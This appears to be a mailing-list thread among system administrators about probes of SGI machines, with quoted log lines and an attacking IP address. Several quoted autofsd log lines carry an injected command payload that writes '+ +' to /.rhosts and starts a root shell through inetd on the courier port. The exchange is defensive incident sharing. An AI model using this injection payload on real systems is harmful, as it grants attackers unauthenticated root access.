> Dave and others:
>
> David Vander Velde wrote:
> > > Have you seen this one in your system logs yet?
> >
> > Oct 9 19:36:05 3D: autofsd[194]: mount of /hosts/;echo '+ +' > /.rhosts;
> > echo "courier stream tcp nowait root /bin/sh sh -i" > /tmp/bob;inetd
> > /tmp/bob failed
>
> This is the _EXACT_ message I found on my SGIs this summer. Since I
> re-loaded operating system and put on tcp srappers, Bob has not come
> back.
>
> BTW, this (+ + in /.rhosts) will allow any user to become god
> without knowing the root passwd.
>
> Also check the cron file, and look to see if he installed
> rpc.ilisten and rpc.irix.
>
There were extenseive probes the the UO early this morning,
apparently related to the "bob" exploit, apprarently coming from
195.163.2.100
for example:
Oct 18 03:19:14 3D:okra autofsd[218]: mount of /hosts/;echo '+ +' >
/.rhosts; echo "courier stream tcp nowait root /bin/sh sh -i" >
/tmp/bob;inetd /tmp/bob failed
Oct 18 03:23:45 cosmic rpcbind: refused connect from 195.163.2.100 to
getport(100099)
Oct 18 04:51:44 dirac tcplog[342]: courier connection attempt from
195.163.2.100:46996
Where were the rpc.ilisten and rpc.irix files installed?
In the Oct. 9 example, it appears the installation of /tmp/bob failed. Is
that really the case?
--Mike